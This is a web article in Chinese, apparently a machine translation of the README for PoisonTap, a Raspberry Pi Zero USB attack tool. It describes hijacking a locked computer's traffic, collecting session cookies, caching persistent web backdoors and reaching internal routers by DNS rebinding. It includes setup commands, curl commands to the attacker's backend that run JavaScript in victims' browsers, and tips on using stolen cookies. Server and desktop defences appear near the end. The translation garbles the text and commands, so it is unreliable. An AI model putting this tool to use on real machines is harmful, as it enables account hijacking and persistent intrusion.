您好,登錄后才能下訂單哦!
小編給大家分享一下PoisonTap虹吸c(diǎn)ookie的示例分析,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
由@SamyKamkar創(chuàng)建||https://samy.pl
當(dāng)PoisonTap(Raspberry Pi Zero&Node.js)插入到受鎖/受密碼保護(hù)的計(jì)算機(jī)中時(shí),它:
通過(guò)USB(或Thunderbolt)模擬以太網(wǎng)設(shè)備
劫持來(lái)自機(jī)器的所有互聯(lián)網(wǎng)流量(盡管是低優(yōu)先級(jí)/未知網(wǎng)絡(luò)接口)
虹吸并存儲(chǔ)來(lái)自網(wǎng)絡(luò)瀏覽器的HTTP Cookie和會(huì)話,用于Alexa前100萬(wàn)個(gè)網(wǎng)站
將內(nèi)部路由器暴露給攻擊者,使其可通過(guò)出站W(wǎng)ebSocket和DNS重新綁定(遠(yuǎn)程訪問(wèn)Matt Austin進(jìn)行重新綁定)!
在HTTP緩存中為數(shù)十萬(wàn)個(gè)域和常見的Javascript CDN URL安裝一個(gè)持久的基于Web的后門,所有這些都可以通過(guò)緩存中毒訪問(wèn)用戶的cookie
允許攻擊者遠(yuǎn)程強(qiáng)制用戶使用任何退回的域中的用戶的Cookie進(jìn)行HTTP請(qǐng)求和代理回復(fù)(GET&POST)
它不要求機(jī)器被解鎖
后門和遠(yuǎn)程訪問(wèn)仍然存在,即使在設(shè)備被刪除并且攻擊者之后移動(dòng)
(Ara令人難以置信的HTML5畫布動(dòng)畫)
PoisonTap避免了以下安全機(jī)制:
密碼保護(hù)鎖屏
路由表優(yōu)先級(jí)和網(wǎng)絡(luò)接口服務(wù)訂單
同源政策
X-框架,選項(xiàng)
HttpOnly Cookies
SameSite cookie屬性
雙因素/多因素認(rèn)證(2FA / MFA)
DNS固定
跨原始資源共享(CORS)
HTTPS的cookie保護(hù)當(dāng)安全 cookie的標(biāo)志和HSTS未啟用
PoisonTap是為$ 5 Raspberry Pi Zero而設(shè)計(jì)的,除了micro-USB電纜和microSD卡之外,還可以使用任何其他組件,或者可以使用以太網(wǎng)到USB / Thunderbolt加密狗的任何Raspberry Pi(1/2/3)工作,或可以在可以模擬USB小工具的其他設(shè)備上工作,如USB Armory和LAN Turtle。
視頻中的實(shí)時(shí)演示和更多詳細(xì)信息:
聯(lián)絡(luò)點(diǎn): @SamyKamkar //https://samy.pl
發(fā)布日期: 2016 年 11月16日
源代碼和下載: https://github.com/samyk/poisontap
PoisonTap通過(guò)利用機(jī)器和網(wǎng)絡(luò)的各種機(jī)制(包括USB / Thunderbolt,DHCP,DNS和HTTP)的現(xiàn)有信任來(lái)產(chǎn)生級(jí)聯(lián)效應(yīng),以產(chǎn)生信息滲透,網(wǎng)絡(luò)訪問(wèn)和半永久后門的安裝的雪球效應(yīng)。
簡(jiǎn)而言之,PoisonTap執(zhí)行以下操作:
網(wǎng)絡(luò)劫持
攻擊者將PoisonTap(如武器化的Raspberry Pi Zero)插入鎖定的計(jì)算機(jī)(即使計(jì)算機(jī)受密碼保護(hù))
PoisonTap模擬以太網(wǎng)設(shè)備(例如,通過(guò)USB / Thunderbolt的以太網(wǎng)) - 默認(rèn)情況下,Windows,OS X和Linux識(shí)別以太網(wǎng)設(shè)備,自動(dòng)將其作為低優(yōu)先級(jí)網(wǎng)絡(luò)設(shè)備加載并執(zhí)行DHCP請(qǐng)求,即使機(jī)器被鎖定或密碼保護(hù)
PoisonTap響應(yīng)DHCP請(qǐng)求并向機(jī)器提供IP地址,但是DHCP響應(yīng)是為了告訴機(jī)器整個(gè)IPv4空間(0.0.0.0 - 255.255.255.255)是PoisonTap本地網(wǎng)絡(luò)的一部分,而不是一個(gè)小子網(wǎng)(例如192.168.0.0 - 192.168.0.255)
通常,如果輔助網(wǎng)絡(luò)設(shè)備連接到一臺(tái)機(jī)器,那么它將比現(xiàn)有的(受信任的)網(wǎng)絡(luò)設(shè)備的優(yōu)先級(jí)低,并且不會(huì)取代網(wǎng)關(guān)以進(jìn)行互聯(lián)網(wǎng)流量,這是不重要的,但是...
由于“互聯(lián)網(wǎng)流量”的“LAN流量”的優(yōu)先級(jí),任何路由表/網(wǎng)關(guān)優(yōu)先級(jí)/網(wǎng)絡(luò)接口服務(wù)訂單安全性被繞過(guò),
PoisonTap利用此網(wǎng)絡(luò)接入,甚至作為一個(gè)低優(yōu)先級(jí)的網(wǎng)絡(luò)設(shè)備,因?yàn)樵撟泳W(wǎng) A的低優(yōu)先級(jí)的網(wǎng)絡(luò)設(shè)備比給予更高的優(yōu)先級(jí)網(wǎng)關(guān)的的(默認(rèn)路由)最高優(yōu)先級(jí)的網(wǎng)絡(luò)設(shè)備
這意味著如果流量注定為1.2.3.4,通常這個(gè)流量會(huì)達(dá)到主(非PoisonTap)網(wǎng)絡(luò)設(shè)備的默認(rèn)路由/網(wǎng)關(guān),PoisonTap實(shí)際上會(huì)獲得流量,因?yàn)镻oisonTap“本地”網(wǎng)絡(luò)/子網(wǎng)據(jù)說(shuō)包含1.2 .3.4,存在的其他IP地址;)
因此,即使機(jī)器連接到具有較高優(yōu)先級(jí)的網(wǎng)絡(luò)設(shè)備和正確的網(wǎng)關(guān)(真正的WiFi,以太網(wǎng)等),所有互聯(lián)網(wǎng)流量都會(huì)超過(guò)PoisonTap。
餅干虹吸
只要Web瀏覽器運(yùn)行后臺(tái),開放頁(yè)面之一可能會(huì)在后臺(tái)執(zhí)行HTTP請(qǐng)求(例如,加載新廣告,將數(shù)據(jù)發(fā)送到分析平臺(tái),或者只是繼續(xù)跟蹤您的網(wǎng)頁(yè))運(yùn)動(dòng))通過(guò)AJAX或動(dòng)態(tài)腳本/ iframe標(biāo)簽
您可以自己看到這一點(diǎn),進(jìn)入您的devtools /檢查員(通常為Cmd + Shift + I或Ctrl + Shift + I),訪問(wèn)訪問(wèn)量很大的網(wǎng)站,點(diǎn)擊網(wǎng)絡(luò)標(biāo)簽,并觀看遠(yuǎn)程資源繼續(xù)訪問(wèn)即使你在頁(yè)面上沒有采取任何行動(dòng)
根據(jù)此HTTP請(qǐng)求,由于所有流量退出到PoisonTap設(shè)備上,PoisonTap DNS即時(shí)傳播返回自己的地址,導(dǎo)致HTTP請(qǐng)求命中PoisonTap Web服務(wù)器(Node.js)
如果DNS服務(wù)器指向PoisonTap無(wú)法獲得特權(quán)的內(nèi)部IP(LAN),攻擊將繼續(xù)發(fā)揮作用,因?yàn)閮?nèi)部DNS服務(wù)器將為各種被攻擊的域產(chǎn)生公共IP地址,而這是公共IP地址PoisonTap已經(jīng)劫持
一旦內(nèi)部DNS服務(wù)器做出響應(yīng),Web瀏覽器就會(huì)觸發(fā)公共IP,最終在任一情況下?lián)糁蠵oisonTap Web服務(wù)器(Node.js)
當(dāng)Node Web服務(wù)器接收到請(qǐng)求時(shí),PoisonTap會(huì)響應(yīng)一個(gè)可以解釋為HTML或Javascript的響應(yīng),兩者都能正常執(zhí)行(許多網(wǎng)站將在后臺(tái)請(qǐng)求中加載HTML或JS)
HTML / JS不可知頁(yè)面然后生成許多隱藏的iframe,每個(gè)iframe跨不同的Alexa-top-100萬(wàn)域
域名上的任何“X-Frame-Options”安全性被忽略,因?yàn)镻oisonTap現(xiàn)在是HTTP服務(wù)器,并選擇要發(fā)送給客戶端的頭文件
隨著對(duì)站點(diǎn)的每個(gè)iframe HTTP請(qǐng)求(例如http://nfl.com/PoisonTap),HTTP Cookie從瀏覽器發(fā)送到被PoisonTap劫持的“公共IP”,它迅速記錄cookie /身份驗(yàn)證信息將數(shù)萬(wàn)個(gè)用戶的Cookie記錄到PoisonTap中
任何“HttpOnly”cookie安全性被繞過(guò),并且這些cookie被捕獲,因?yàn)樵谟虮旧砩蠜]有執(zhí)行Javascript,而是僅用于首先加載iframe
任何跨原始資源共享或同源策略安全性被繞過(guò),因?yàn)樵L問(wèn)域看起來(lái)對(duì)瀏覽器是合法的
因?yàn)槲覀冋谧トookie而不是憑據(jù),所以當(dāng)攻擊者使用cookie登錄時(shí),網(wǎng)站上實(shí)現(xiàn)的任何2FA / MFA都將被繞過(guò)。這是因?yàn)槲覀冞€沒有實(shí)際執(zhí)行的登錄功能,而是繼續(xù)已經(jīng)登錄這不會(huì)話不會(huì)觸發(fā)雙因素身份驗(yàn)證
如果服務(wù)器正在使用HTTPS,但是Cookie并未明確設(shè)置Secure Cookie標(biāo)志,則HTTPS保護(hù)被繞過(guò),并將該cookie發(fā)送到PoisonTap
可遠(yuǎn)程訪問(wèn)的基于Web的后門
雖然PoisonTap正在產(chǎn)生成千上萬(wàn)的I幀,迫使瀏覽器加載每一個(gè),這些iframe會(huì)并不只是空白頁(yè)面,而是HTML +的Javascript后門被無(wú)限期緩存
因?yàn)镻oisonTap強(qiáng)制將這些后門緩存在每個(gè)域上,所以后門綁定到該域,使攻擊者能夠使用域的cookie,并在將來(lái)啟動(dòng)同源請(qǐng)求,即使用戶當(dāng)前未登錄
例如,當(dāng)http://nfl.com/PoisonTap iframe加載時(shí),PoisonTap接受轉(zhuǎn)移的Internet流量,通過(guò)Node web服務(wù)器響應(yīng)HTTP請(qǐng)求
添加額外的HTTP頭以無(wú)限期緩存該頁(yè)面
該頁(yè)面的實(shí)際響應(yīng)是HTML和Javascript的組合,它會(huì)向攻擊者的Web服務(wù)器(通過(guò)Internet而不是PoisonTap設(shè)備)生成一個(gè)持久的WebSocket,
WebSocket保持打開,允許攻擊者在將來(lái)的任何時(shí)間連接回退回機(jī)器,并執(zhí)行任何具有后門實(shí)現(xiàn)的源代碼(Alexa的前100萬(wàn)個(gè)站點(diǎn) - 見下文)
如果后門在一個(gè)站點(diǎn)(例如,nfl.com)上打開,但用戶希望攻擊不同的域(例如pinterest.com),攻擊者可以將nfl.com上的iframe加載到pinterest.com后門(http://pinterest.com/PoisonTap)
再次,域上的任何“X框架選項(xiàng)”,跨原始資源共享和同源策略安全性完全被忽略,因?yàn)檎?qǐng)求將觸發(fā)PoisonTap離開的緩存,而不是真正的域
內(nèi)部路由器后門和遠(yuǎn)程訪問(wèn)
一個(gè)網(wǎng)絡(luò)PoisonTap不能劫持是真實(shí)網(wǎng)絡(luò)接口的實(shí)際LAN子網(wǎng)(例如,如果用戶的wifi子網(wǎng)為192.168.0.x,則該網(wǎng)絡(luò)不受影響),但...
PoisonTap強(qiáng)制將一個(gè)后門緩存在一個(gè)特殊的主機(jī)上,特別是目標(biāo)路由器的IP前身為“.ip.samy.pl”,例如192.168.0.1.ip.samy.pl,本質(zhì)上是產(chǎn)生持久的 DNS重綁定攻擊
當(dāng)使用PoisonTap作為DNS服務(wù)器(受害者使用公共DNS服務(wù)器)時(shí),PoisonTap會(huì)臨時(shí)響應(yīng)專門的PoisonTap IP(1.0.0.1),這意味著當(dāng)時(shí)的任何請(qǐng)求都將觸發(fā)PoisonTap Web服務(wù)器
如果DNS服務(wù)器設(shè)置為內(nèi)部網(wǎng)絡(luò)(例如192.168.0.x),則會(huì)另外特別要求1.0.0.1 **。pin。** ip.samy.pl告訴我的專用DNS服務(wù)器(在公共互聯(lián)網(wǎng)上)暫時(shí)響應(yīng)任何[ip.address] .ip.samy.pl地址與“固定”地址(1.0.0.1)幾秒鐘
然后,PoisonTap在http://192.168.0.1.ip.samy.pl/PoisonTap上快速設(shè)置了一個(gè)后門,該漏洞目前指向1.0.0.1的PoisonTap設(shè)備,允許從PoisonTap設(shè)備訪問(wèn)并緩存后門
DNS綁定和DNS重新綁定的安全性被繞過(guò)由于DNS綁定表的耗盡,由于以前成千上萬(wàn)的請(qǐng)求,并且將來(lái)不需要重新綁定,這使得這種攻擊持續(xù)了很長(zhǎng)一段時(shí)間(由于馬特奧斯汀與我分享這次攻擊!)
現(xiàn)在,一個(gè)后門被強(qiáng)制緩存到http://192.168.0.1.ip.samy.pl/PoisonTap,任何將來(lái)對(duì)192.168.0.1.ip.samy.pl的請(qǐng)求將會(huì)打到未被解除的 IP地址,導(dǎo)致192.168.0.1要解決,直接指向路由器
這意味著如果通過(guò)后門遠(yuǎn)程加載iframe中的192.168.0.1.ip.samy.pl/PoisonTap主機(jī),您現(xiàn)在可以對(duì)內(nèi)部路由器上的任何其他頁(yè)面執(zhí)行AJAX GET / POSTs ,完全遠(yuǎn)程,從而允許遠(yuǎn)程訪問(wèn)內(nèi)部路由器
這可能導(dǎo)致攻擊者可能從未訪問(wèn)過(guò)的路由器的其他攻擊,例如用于覆蓋DNS服務(wù)器的路由器上的默認(rèn)管理員憑據(jù),或其他身份驗(yàn)證漏洞
DNS服務(wù)器的概述:
[ip.addy] .ip.samy.pl 通常用[ip.addy]
192.168.0.1.ip.samy.pl - > 192.168.0.1(A記錄)
[ip.addy] .pin.ip.samy.pl 暫時(shí)(?5 秒)分* .ip.samy.pl到[ip.addy]
1.0.0.1.pin.ip.samy.pl - > 1.0.0.1
192.168.0.1.ip.samy.pl - > 1.0.0.1(A記錄,短TTL)
(約5秒鐘后)
192.168.0.1.ip.samy.pl - > 192.168.0.1(A記錄)
其他可遠(yuǎn)程訪問(wèn)的基于Web的后門
此外,PoisonTap替代了成千上萬(wàn)種常見的基于CDN的Javascript文件,例如Google和jQuery CDN,使用正確的代碼加上一個(gè)后門,使攻擊者可以訪問(wèn)任何加載受感染的基于CDN的Javascript文件的域
因?yàn)槊總€(gè)域都有一個(gè)后門,這樣就可以讓攻擊者遠(yuǎn)程強(qiáng)制后退的瀏覽器在幾乎任何主要的域上執(zhí)行相同的起始請(qǐng)求(AJAX GET / POST),即使受害者目前沒有任何打開的窗口域
后門將現(xiàn)在生活在任何其他網(wǎng)站上,當(dāng)受害者訪問(wèn)該網(wǎng)站時(shí),還會(huì)使用這些受感染的基于HTTP的CDN Javascript框架之一
服務(wù)器端安全性
如果您正在運(yùn)行一個(gè)Web服務(wù)器,那么防范PoisonTap就很簡(jiǎn)單:
至少使用HTTPS進(jìn)行認(rèn)證和驗(yàn)證的內(nèi)容
老實(shí)說(shuō),您應(yīng)該專門使用HTTPS,并始終將HTTP內(nèi)容重定向到HTTPS,以防止用戶被欺騙提供憑據(jù)或通過(guò)HTTP提供其他PII
確保Cookie上啟用了安全標(biāo)志,防止HTTPS Cookie通過(guò)HTTP泄漏
使用遠(yuǎn)程JavaScript資源時(shí),請(qǐng)使用Subresource Integrity腳本標(biāo)記屬性
使用HSTS來(lái)防止HTTPS降級(jí)攻擊
桌面安全
將水泥添加到USB和Thunderbolt端口可以有效
每次離開機(jī)器時(shí)關(guān)閉瀏覽器都可以工作,但完全不切實(shí)際
禁用USB / Thunderbolt端口也是有效的,盡管也是不切實(shí)際的
鎖定電腦沒有任何效果,因?yàn)榫W(wǎng)絡(luò)和USB堆棧在機(jī)器被鎖定時(shí)運(yùn)行,但是,進(jìn)入加密睡眠模式,需要密鑰來(lái)解密內(nèi)存(例如FileVault2 +深度睡眠)解決了大多數(shù)問(wèn)題,作為您的瀏覽器將不再提出請(qǐng)求,即使喚醒
源代碼: https://github.com/samyk/poisontap
注意:如果您發(fā)現(xiàn)設(shè)備不是自動(dòng)作為以太網(wǎng)控制器(例如Windows的舊版本),則可以在pi_startup.sh中更改VID和PID
#指令從https://gist.github.com/gbaman/50b6cca61dd1c3f88f41調(diào)整sudo bash#如果Raspbian BEFORE甚至-10,那么運(yùn)行下一行:BRANCH = next rpi-updateecho -e “ \ nauto usb0 \ nallow-hotplug usb0 \ niface usb0 inet static \ n \ taddress 1.0.0.1 \ n \ tnetmask 0.0.0.0 ” >> / etc / network / interfaces echo “ dtoverlay = dwc2 ” >> / boot /config.txt echo -e “ dwc2 \ ng_ether ” >> / etc / modulessudo sed -in-place “ / exit 0 / d ” /etc/rc.local echo “ / bin / sh /home/pi/poisontap/pi_startup.sh ” >> /etc/rc.localmkdir / home / pi / poisontapchown -R pi / home / pi / poisontapapt-get update && apt-get升級(jí)apt-get -y安裝isc-dhcp-server dsniff screen nodejs
將dhcpd.conf放在/etc/dhcp/dhcpd.conf中,然后將其他文件放在/ home / pi / poisontap中,然后重新啟動(dòng)以確保一切正常。
repo中有多個(gè)文件,它們?cè)诓煌姆矫媸褂?。列表?/p>
backdoor.html - 每當(dāng)一個(gè)http:// hostname / PoisonTap URL被命名為exfiltrate cookies時(shí),這個(gè)文件是作為強(qiáng)制緩存的內(nèi)容返回的。它包含一個(gè)后門,它產(chǎn)生一個(gè)出站的websocket到samy.pl:1337(可調(diào)整到任何主機(jī)/端口),等待命令從服務(wù)器繼續(xù)打開。這意味著當(dāng)您在網(wǎng)站上加載iframe(例如http:// hostname / PoisonTap)時(shí),即使在從機(jī)器中刪除PoisonTap之后,這也是填充的內(nèi)容。
backend_server.js - 這是您在Internet可訪問(wèn)的服務(wù)器上運(yùn)行的Node.js服務(wù)器。這是backdoor.html連接的(例如,samy.pl:1337)。這是與您連接的命令相同的服務(wù)器,以發(fā)送到您的PoisonTapped小型機(jī)器,例如
#流行警惕受害者 卷曲 ' http://samy.pl:1337/exec?alert("muahahahaha“)‘ #設(shè)置在受害人一個(gè)cookie 卷曲 ’ http://samy.pl:1337/exec?document.cookie =“key = value” ' #強(qiáng)制受害者通過(guò)ajax加載一個(gè)url(注意,jQuery存儲(chǔ)在后門) curl'http: //samy.pl:1337/exec?$.get( " http:// 192.168.0.1.ip.samy.pl/login",function(d)\ {console.log(d)\})'
pi_poisontap.js - 這是通過(guò)Raspberry Pi Zero上的Node.js運(yùn)行的,是HTTP服務(wù)器,負(fù)責(zé)處理由PoisonTap攔截的任何HTTP請(qǐng)求,存儲(chǔ)虹吸c(diǎn)ookie,并注入緩存的后門。
pi_startup.sh - 在Raspberry Pi Zero啟動(dòng)時(shí)運(yùn)行,以便將設(shè)備設(shè)置為模擬USB以太網(wǎng)小工具,設(shè)置我們的惡意DHCP服務(wù)器,允許流量重新路由,DNS欺騙,并啟動(dòng)pi_poisontap.js以上。
target_backdoor.js - 此文件是與任何CDN相關(guān)的Javascript文件,因此后門他們,例如Google CDN的jQuery網(wǎng)址。
target_injected_xhtmljs.html - 這是在受害者機(jī)器上注入到無(wú)意/后臺(tái)HTTP / AJAX請(qǐng)求中的代碼,并產(chǎn)生了整個(gè)攻擊。它的構(gòu)造方式是將其解釋為HTML或Javascript,并仍然執(zhí)行相同的代碼。另外,驚人的HTML5畫布是由令人難以置信的Ara oen CodePen,是太驚人,不包括。這是當(dāng)頁(yè)面被PoisonTap接管時(shí)出現(xiàn)的圖形化瘋狂。
poisontap.cookies.log - 一旦用戶的機(jī)器開始向PoisonTap發(fā)送HTTP請(qǐng)求,就會(huì)生成此文件,并將該cookie與瀏覽器及其所屬的相關(guān)聯(lián)的URL /域一起記錄下來(lái)。
問(wèn):如何添加要退回的其他域?
target_injected_xhtmljs.html
由
getDoms()
函數(shù)設(shè)置。這本身就由
alexa1m.sh
repo根目錄中的腳本填充。如果您希望在此列表中添加其他域名,您可以簡(jiǎn)單地修改返回呼叫
getDoms()
A:要退回的域列表
問(wèn):您如何使用捕獲的Cookie?
A:您可以直接從瀏覽器中的JavaScript控制臺(tái)使用Document.cookie API來(lái)設(shè)置Cookie。此StackOverflow文章還提供了一些Chrome特定的建議,例如Cookie檢查器Chrome擴(kuò)展程序。
以上是“PoisonTap虹吸c(diǎn)ookie的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。